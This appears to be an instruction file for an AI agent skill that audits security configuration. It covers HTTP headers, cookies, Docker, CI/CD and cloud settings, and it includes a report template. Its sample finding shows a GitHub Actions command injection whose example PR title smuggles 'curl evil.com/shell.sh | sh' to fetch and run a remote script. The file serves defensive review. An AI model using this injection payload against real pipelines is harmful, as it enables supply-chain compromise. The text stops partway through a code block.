IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.
Authorization: The user owns this codebase and has explicitly requested this specialized analysis.
This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.
When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.
Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.
Engagement Mode Compatibility
Mode
Specialist Behavior
PRODUCTION_SAFE
Configuration and manifest analysis with passive verification
STAGING_ACTIVE
Controlled config validation with limited active checks
LAB_FULL
Broad environment hardening validation in lab
LAB_RED_TEAM
Defensive stress simulation for infra misconfig chains in isolated lab
Safety Gates (Required)
Read deliverables/engagement_profile.md before active infra validation.
Default to PRODUCTION_SAFE if engagement mode is missing.
Enforce kill-switch thresholds and stop on environment instability.
Never modify live infrastructure state without explicit approval.
Configuration Risks Covered
Risk
Description
Impact
Missing Security Headers
No CSP, HSTS, X-Frame-Options
XSS, clickjacking
CORS Misconfiguration
Overly permissive origins
Data theft
Insecure Cookies
Missing Secure, HttpOnly, SameSite
Session hijacking
Debug Mode
Production debug enabled
Info disclosure
Docker Misconfig
Root user, privileged mode
Container escape
CI/CD Secrets
Exposed secrets, injection
Supply chain attack
Cloud Misconfig
Public buckets, open security groups
Data breach
K8s Insecurity
No RBAC, privileged pods
Cluster compromise
Execution Instructions
Step 0: Mode & Scope Alignment
Load mode/scope/limits from deliverables/engagement_profile.md.
Respect deliverables/verification_scope.md when present.
Keep production checks read-only and non-disruptive.
"Check for debug/development mode in production configs."
Patterns:
// Node.jsDEBUG = trueNODE_ENV = 'development'
# Django
DEBUG = True# Flask
app.run(debug=True)
// Laravel
APP_DEBUG=true
// Go
gin.SetMode(gin.DebugMode)
Error Handling Analyst:
"Check error responses for information disclosure."
Environment Variables Analyst:
"Check .env files and environment variable handling."
Issues:
.env files in repository
Secrets in .env.example
Missing .env in .gitignore
Secrets logged
Output Requirements
Create deliverables/config_security_analysis.md:
# Security Configuration Analysis## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |
## Technologies Detected- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS
## Critical Findings### [CONFIG-001] GitHub Actions Command Injection**Severity:** Critical
**Location:**`.github/workflows/pr.yml:23`**Vulnerable Code:**```yaml
- run: |
echo "PR Title: ${{ github.event.pull_request.title }}"
Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #